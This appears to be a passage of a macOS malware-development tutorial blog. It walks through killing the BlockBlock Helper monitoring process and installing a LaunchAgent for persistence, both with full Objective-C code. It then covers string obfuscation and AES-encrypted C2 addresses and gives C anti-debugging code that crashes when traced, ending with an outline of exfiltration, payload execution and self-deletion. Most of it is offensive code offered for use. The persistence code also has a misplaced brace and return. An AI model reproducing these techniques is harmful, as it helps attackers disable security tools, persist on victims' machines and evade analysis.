Since the main application runs with elevated privileges (root), it can’t be easily killed unless we somehow gain root access. But let’s say we don’t have privileges our focus should instead be on the BlockBlock Helper, which does the heavy lifting in terms of real-time monitoring. If we take a look at the memory usage, we’ll notice that the helper process is using more resources than the main app, which gives us a clear idea of its active role.
root 143 0.1 0.1 34188916 10776 ?? Ss 2:51PM 0:13.99 /Library/Objective-See/BlockBlock/BlockBlock.app/Contents/MacOS/BlockBlock
sec 8124 0.0 0.5 34352700 39352 ?? S 6:57PM 0:00.93 /Applications/BlockBlock Helper.app/Contents/MacOS/BlockBlock Helper
Well, this isn’t really a BlockBlock vulnerability or anything like that it’s just how it works. Ideally, the helper should be able to restart after being killed, but since it’s a userland persistence process, we successfully terminated the helper. Ultimately, that’s what would allow us to bypass it, Once we kill the helper, it’s out of the way, which allows us to carry out our persistence, First, we identified BlockBlock Helper as our main target. The BlockBlock Helper is responsible for active monitoring in real-time. The main BlockBlock app runs with higher privileges, but the helper operates in userland, making it vulnerable to being killed without elevated permissions.
Now, let’s start by testing this approach, We’ll call it ‘KillBlockBlockWithPersistence’ because that’s exactly what we did. We killed the BlockBlock Helper and installed a persistence mechanism that reactivates every time the user logs in, We know that BlockBlock Helper is our target, so the next step is figuring out its PID (Process ID). We used pgrep
to grab the process ID for the helper, something like
pgrep 'BlockBlock Helper'
kill(helperPID, SIGKILL);
that the BlockBlock Helper is out of the picture, it’s time to establish our persistence we achieve it by setting up a LaunchAgent in ~/Library/LaunchAgents/
. Why there? Because it ensures that the payload will run every time the user logs in,
NSMutableDictionary *plistDict = [NSMutableDictionary dictionary];
plistDict[@"Label"] = agentName;
plistDict[@"ProgramArguments"] = @[programPath];
plistDict[@"RunAtLoad"] = @YES;
plistDict[@"KeepAlive"] = @YES;
This was just a simple example of how we can adapt and find new ways to perform our tasks. Of course, there’s a lot of stuff that requires careful development and consideration,
This way, the user doesn’t get any prompt about no persistence happening, but they can usually notice the helper disappearing from the bar, which may raise questions about why the app suddenly crashed or was killed, and just restart it ;) please don’t :)
//
// KillBlockBlockWithPersistence.m
//
// terminates the BlockBlock Helper process and installs
// a persistent LaunchAgent that restarts on user login.
// The persistence is achieved by placing a .plist file in the user's
// ~/Library/LaunchAgents/ directory.
//
// 0x00fsec
//
//
#import <Foundation/Foundation.h>
#import <sys/types.h>
#import <signal.h>
#import <stdio.h>
#import <stdlib.h>
#import <string.h>
#import <errno.h>
pid_t getPIDByName(const char * processName) {
// Find the process ID using pgrep
char command[256];
snprintf(command, sizeof(command), "pgrep '%s'", processName);
FILE * fp = popen(command, "r");
if (fp == NULL) {
perror("popen failed");
return -1;
}
char pidBuffer[10];
if (fgets(pidBuffer, sizeof(pidBuffer), fp) != NULL) {
pid_t pid = (pid_t) atoi(pidBuffer);
pclose(fp);
return pid;
}
pclose(fp);
return -1;
}
void killProcess(pid_t pid) {
if (pid > 0) {
// Kill the process
if (kill(pid, SIGKILL) == 0) {
NSLog(@ "[SUCCESS] Killed process with PID: %d", pid);
} else {
//
}
} else {
//
}
}
void installPersistence(NSString * agentName, NSString * programPath) {
// Path
NSString * launchAgentsDir = [NSHomeDirectory() stringByAppendingPathComponent: @ "Library/LaunchAgents"];
NSString * plistPath = [launchAgentsDir stringByAppendingPathComponent: [NSString stringWithFormat: @ "%@.plist", agentName]];
// Ensure the directory exists,
NSError * error;
if (![
[NSFileManager defaultManager] fileExistsAtPath: launchAgentsDir
]) {
[
[NSFileManager defaultManager] createDirectoryAtPath: launchAgentsDir
withIntermediateDirectories: YES
attributes: nil
error: & error
];
return;
}
}
// LaunchAgent config
NSMutableDictionary * plistDict = [NSMutableDictionary dictionary];
plistDict[@ "Label"] = agentName;
plistDict[@ "ProgramArguments"] = @[programPath];
plistDict[@ "RunAtLoad"] = @YES;
plistDict[@ "KeepAlive"] = @YES;
// Serialize the plist data into XML format
NSData * plistData = [NSPropertyListSerialization dataWithPropertyList: plistDict
format: NSPropertyListXMLFormat_v1_0
options: 0
error: & error
];
if (!plistData) {
return;
}
// Write the plist data to the user's directory, as an exmple,
BOOL success = [plistData writeToFile: plistPath atomically: YES];
if (success) {
NSLog(@ "[SUCCESS] Persistence installed at %@", plistPath);
} else {
NSLog(@ "[ERROR] Failed to install persistence.");
}
}
int main(int argc,
const char * argv[]) {
@autoreleasepool {
const char * blockBlockHelperName = "BlockBlock Helper";
pid_t helperPID = getPIDByName(blockBlockHelperName);
killProcess(helperPID);
NSString * agentName = @ "com.example.persistentagent";
NSString * programPath = [
[NSBundle mainBundle] executablePath
];
installPersistence(agentName, programPath);
}
return 0;
}
…
Or we could just take an easy route, check if any Objective-See’s products are installed on the system. If they are, the malware could just decide not to infect the system and delete itself, avoiding the risk of giving researchers your malware. Sounds simple, right? Nah!
What we’ve talked about is a primitive and kinda noisy play, but it does stop those analysis tools from running while our malware is active. Of course, you could just restart the tools;
which leads us to our next phase,
2. Stealth Techniques for Anti-Analysis
Well, this one needs its own article. anti-analysis techniques are the same across operating systems; they don’t really change, only the implementation and a few details do. We have already covered the classic stealth techniques such as process injection and in-memory execution, and we’ve written our own version of the implementation, remember, in the first stages we kind of just hardcoded everything, including strings, file paths, and the address of the command and control (C2) server? we need to change that, Alright, let’s see what tricks and techniques we can play with.
What we implemented for anti-stuff consists of two things: string-based obfuscation/encryption and code obfuscation. Let’s talk about string obfuscation first and how we can achieve that. Strings in our code, such as URLs, command&control server addresses, and other sensitive data, are easily accessible to static analysis tools, which can extract them easily. We can encode them as we did with transferring data to the command and control (C2) by encoding the JSON data with Base64 and sending it. or, we can introduce simple encryption algorithms, which should usually be done at runtime.
For example, instead of just hardcoding the strings, we can implement a routine to dynamically generate them during execution through concatenation of smaller string segments or through functions that assemble strings based on certain conditions. However, this make the code too complex,
Another technique, and this is my favorite, is string splitting. means breaking strings into smaller parts and storing them in separate variables. At runtime, Alright, check this out: imagine you have a long string like “FooIntelToProtect.” Instead of keeping it whole, we can split it into smaller segments. For instance, we could divide it into chunks of four characters: “Foo”, “Intel”, “To”, “Protec”, and “t.” This not only makes the data less recognizable if someone tries to analyze it but also allows us to manipulate smaller pieces as needed, I wrote a simple code, to show case this, here’s what we got in disassembly from the _main
function
0000000100003e5f leaq 0x122(%rip), %rax ## literal pool for: "FooIntelToProtect"
This line uses the leaq
instruction, which stands for “load effective address.” Here, it loads the address of the string “FooIntelToProtect” into the register %rax
. The comment ## literal pool for: "FooIntelToProtect"
indicates that the string is stored in a “literal pool.” A literal pool is a section of memory where constant values, like strings or numbers, are stored. In assembly, it allows us to reference these values without hardcoding them directly into the instructions.
0000000100003e7e callq 0x100003f4a ## symbol stub for: _strlen
0000000100003e90 leaq 0x103(%rip), %rdi ## literal pool for: " .asciz \""
This call to _strlen
computes the length of the string that we previously loaded into %rax
. The result is stored in a local variable, and, another leaq
instruction loads the address of the string that formats the output for printf
. Again, the comment ## literal pool for: " .asciz \""
tells us that this string is also stored in a literal pool.
.section __TEXT,__text
.globl _h_data
_h_data:
.asciz "FooI"
.asciz "ntel"
.asciz "ToPr"
.asciz "otec"
.asciz "t"
But can this string be extracted with a utility like strings
? The answer is both yes and no.
Yes, because the original string “FooIntelToProtect” still exists in memory; However, it becomes less simple due to the way we’ve split it into smaller segments, Now, imagine this in a malware when you have a lot of moving part’s so breaking up strings into smaller parts, making the data more confusing and harder to analyze statically,
By doing this, not only obfuscate the original string but also introduce, like %s
But still, this is relatively easy for a reverser. Although splitting the strings adds a layer of obfuscation, this technique yes can complicates static analysis, it doesn’t make the task impossible. Reversers will just to follow the code flow and identify how these fragments are combined at runtime.
…
Usually, at the point where encryption is introduced, you can experiment with XOR. However, XOR is reversible on its own. Therefore, it is wise to combine XOR encryption with other methods. For example, we can use AES-encrypted strings. The encryption key needed to decrypt the string is hardcoded within the malware, which means it is possible to manually decode and decrypt the server’s address.
However, the malware must decode and decrypt the strings to use them, such as when connecting to a command and control (C2) server for tasking. Thus, a reverse engineer may simply allow the malware to run, which would expose the C2 once it attempts to connect.
So, I implemented this simple AES encryption and decryption routine using the tiny-AES-c library. In the encryption routine, I initialized the AES context with a predefined key and processed the input string in 16-byte blocks. The encrypted data is stored in an output buffer. For decryption, the same key is used to revert the encrypted data back to its original form, I know amateur move, but let’s put this into a debugger and see where the decrypted string reveals itself.
The idea is simple: pause the malware right when it tries to decrypt the string and take a peek into its memory,
(lldb) image lookup -s decrypt
1 symbols match 'decrypt' in ....:
Address: spit[0x0000000100002140] (spit.__TEXT.__text + 208)
Summary: spit`decrypt
(lldb) breakpoint set --name decrypt
Breakpoint 1: where = spit`decrypt, address = 0x0000000100002140
(lldb) r
Process 39704 launched: ...
Encrypted: 16 90 bc 53 eb 9c 8a 8b db 04 a1 81 ca b9 47 ad
Process 39704 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000100002140 spit`decrypt
spit`decrypt:
-> 0x100002140 <+0>: pushq %rbp
0x100002141 <+1>: movq %rsp, %rbp
0x100002144 <+4>: subq $0x100, %rsp
0x10000214b <+11>: movq 0x1eae(%rip), %rax
Target 0: (spit) stopped.
(lldb) register read
General Purpose Registers:
rax = 0x0000000000000001
rbx = 0x00000001000c8060
rcx = 0xa39c170aa30200e0
rdx = 0x0000000000000000
rdi = 0x00007ff7bfeff830
rsi = 0x00007ff7bfeff820
rbp = 0x00007ff7bfeff850
rsp = 0x00007ff7bfeff7e8
r8 = 0x00007ff857deabc8 __sFX + 248
r9 = 0x0000000000000000
r10 = 0x00000000ffffff00
r11 = 0x00007ff857deabc0 __sFX + 240
r12 = 0x00000001000903a0 dyld`_NSConcreteStackBlock
r13 = 0x00007ff7bfeff908
r14 = 0x0000000100002220 spit`main
r15 = 0x000000010007c010 dyld`dyld4::sConfigBuffer
rip = 0x0000000100002140 spit`decrypt
rflags = 0x0000000000000202
cs = 0x000000000000002b
fs = 0x0000000000000000
gs = 0x0000000000000000
(lldb) x/16xb $rsi
0x7ff7bfeff820: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 // foo-operator-server
(lldb) continue
Process 39704 resuming
Decrypted: foo-operator-server
Process 39704 exited with status = 0 (0x00000000)
I set up a breakpoint in the decrypt
function to see how the decryption works, First, I ran the command image lookup -s decrypt
to find the memory address where the decrypt
function is located. It showed me the address 0x0000000100002140
.
and as you can see, I set a breakpoint at that address with breakpoint set --name decrypt
. This means the code will pause whenever it hits that function. I started the code with r
, and it launched. It paused right at the breakpoint I set, allowing me to check what’s happening, At this point, I examined the registers and memory state The instruction pointer (rip
) was at the start of the decrypt
function, indicating that I was at the very beginning of the decryption logic. The registers provided useful information: for example, rax
contained 0x0000000000000001
, which indicates a successful state or a flag used in the decryption process.
I also took a look at the contents at the memory address pointed to by rsi
, which was filled with zeros. This area is likely where the decrypted output would be stored. After confirming the initial state, I ran the command x/16xb $rsi
to look at 16 bytes of memory starting from that address. At first, I saw only zeroes, which means the decrypted data wasn’t there yet, Then. I hit continue
to let the code run again. Once it finished, I saw the decrypted string: foo-operator-server
.
…
So, yep anti-debugger, a common method for detecting if a program is being debugged is still by querying the system directly,
// AntiDebugger.c
// detects whether the current process is being traced
// (debugged) by using the `sysctl` system call.
//
// Usage: ./AntiDebugger
//
// 0x00fsec
#include <sys/types.h>
#include <sys/sysctl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
typedef int (*sysctl_t)(int *mib, u_int mib_len, void *info, size_t *size, void *new_value, size_t new_size);
int DebugCheck() {
int mib[4];
struct kinfo_proc info;
size_t size = sizeof(info);
/* Initialize the info structure to zero */
memset(&info, 0, sizeof(info));
/* Construct MIB array for sysctl to get process info for the current PID */
mib[0] = CTL_KERN;
mib[1] = KERN_PROC;
mib[2] = KERN_PROC_PID;
mib[3] = getpid();
/* Dynamically resolve the sysctl function pointer */
sysctl_t sysctl_ptr = (sysctl_t) dlsym(RTLD_DEFAULT, "sysctl");
if (!sysctl_ptr) return 0;
/* Call sysctl and retrieve the process information */
if (sysctl_ptr(mib, 4, &info, &size, NULL, 0) == -1) {
return 0;
}
/* Check if the P_TRACED flag is set in the process flags */
return (info.kp_proc.p_flag & P_TRACED) != 0;
}
void EvadeiFdebugged() {
if (DebugCheck()) {
// If a debugger is detected,
volatile char *ptr = NULL;
*ptr = 0xDE; // null pointer, really? n00b move
}
}
int main() {
EvadeiFdebugged();
while (1) {
// Main loop proceeds uninterrupted
}
return 0; // never reaches here
}
if you learned something you’ll notice that We don’t call the sysctl
function directly because that’s the first thing static analysis tools look for. Instead, we use dlsym()
to dynamically resolve the address of sysctl
at runtime, If dlsym()
can’t find sysctl
, we simply assume no debugger is present and move on. No need to trigger alarms if something goes wrong.
Once we get the sysctl
function, we use it to pull in process info. The key here is to check the P_TRACED
flag, which tells us if the process is currently being traced (i.e., debugged). If this flag is set, it means we’ve got someone snooping around, If a debugger is detected, we don’t just print “Debugger detected” like amateurs would. Instead, we corrupt memory by writing to a null pointer (*ptr = 0xDE;
). This causes the code to crash, but it’s still an amateur move ;) Even as an example, if you intended to do something like this, it’s the simplest approach and any reverser would see it coming from a mile away. Instead, consider introducing a delay and corrupting the process at a later stage, or usually you could mix this debugger-checking logic with regular code to make it even harder to find.
Instead of having a dedicated function, embed this check deep inside core routines, making it look like part of the program’s normal operations. That way, analysts have a harder time isolating the anti-debug measures from the rest of the code,
(lldb) r
Process 44913 launched: ...
Process 44913 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x0)
frame #0: 0x0000000100003f22 debug`EvadeiFdebugged + 34 // smart shit
debug`EvadeiFdebugged:
-> 0x100003f22 <+34>: movb $-0x22, (%rax)
0x100003f25 <+37>: addq $0x10, %rsp
0x100003f29 <+41>: popq %rbp
0x100003f2a <+42>: retq
Target 0: (debug) stopped.
(lldb)
Now, the workaround is pretty simple, similar to how we handled the decryption stuff. So, try to work around this as a little exercise, Obfuscation is just as important as the code itself, and (RE) often goes hand in hand with malware development.
…
3. Final Exit & Cleanup Operation
Now, when our simple malware achieves its task, it ensures that all necessary operations and modules are downloaded and executed seamlessly. Once this is complete, the malware will initiate a cleanup routine to remove any traces of its presence from the system. The design itself wasn’t meant to last; it was simply grab-and-run stealing files, collecting system information, and connecting to the C2 to exfiltrate data. Along the way, it downloads resources and modules from the C2 that help the malware function and maintain its design.
┌───────────┐ ┌────────────┐
│ . │ │ . │
└───────────┘ └────────────┘
│ │
└───────────────┐
┌──────────────┐
│ Send Info │
│ to C2 │
└──────────────┘
│
▼
┌───────────────┐
│ Download │
│ Module │
└───────────────┘
│
▼
┌───────────────────┐
│ Modify Info.plist │
└───────────────────┘
│
▼
┌───────────────────┐
│ Download │
│ Resources │
└───────────────────┘
│
▼
┌───────────────────┐
│ Place in │
│ Application │
└───────────────────┘
│
▼
┌───────────────────┐
│ Execute │
│ Payload │
└───────────────────┘
│
▼
┌───────────────────┐
│ Cleanup & │
│ Self-Deletion │
└───────────────────┘
Now, the final concept to introduce is Self-Destruction Routines. We’ve showcased Memory-based Execution and SE techniques, along with methods for abusing older applications to perform Code Injection, However, I’ll end this piece here; maybe we’ll return with Part 0x03 later.
V. Time to Pull the Plug
As you’ve seen, we started from the ground up, kicking things off with the main function! just my style. I know this might confuse some folks since the steps aren’t laid out in a simple 1, 2, 3 format. But this way, you get a broader view of an actual fileless design, with multiple stages and components in play.
I had a blast with this, and I hope you picked up a thing or two along the way. This continues from the first part, where we explored concepts at a high level, touching on dummy malware, the Mach API, and more. Here, we’ve dug a little deeper into the Mach-O file, implants, in-memory execution, and beyond.
I had to trim certain parts because this is already lengthy, and we can’t cover everything in one post. Next time, we’ll discuss privilege escalation while revisiting how to implement elements I haven’t mentioned yet. We’ll also clarify some concepts you might have noticed in the incomplete design, Until then, as always, see you next time!
0x00fsec * ** ** *** * * * * * [YOU'RE PWNED!]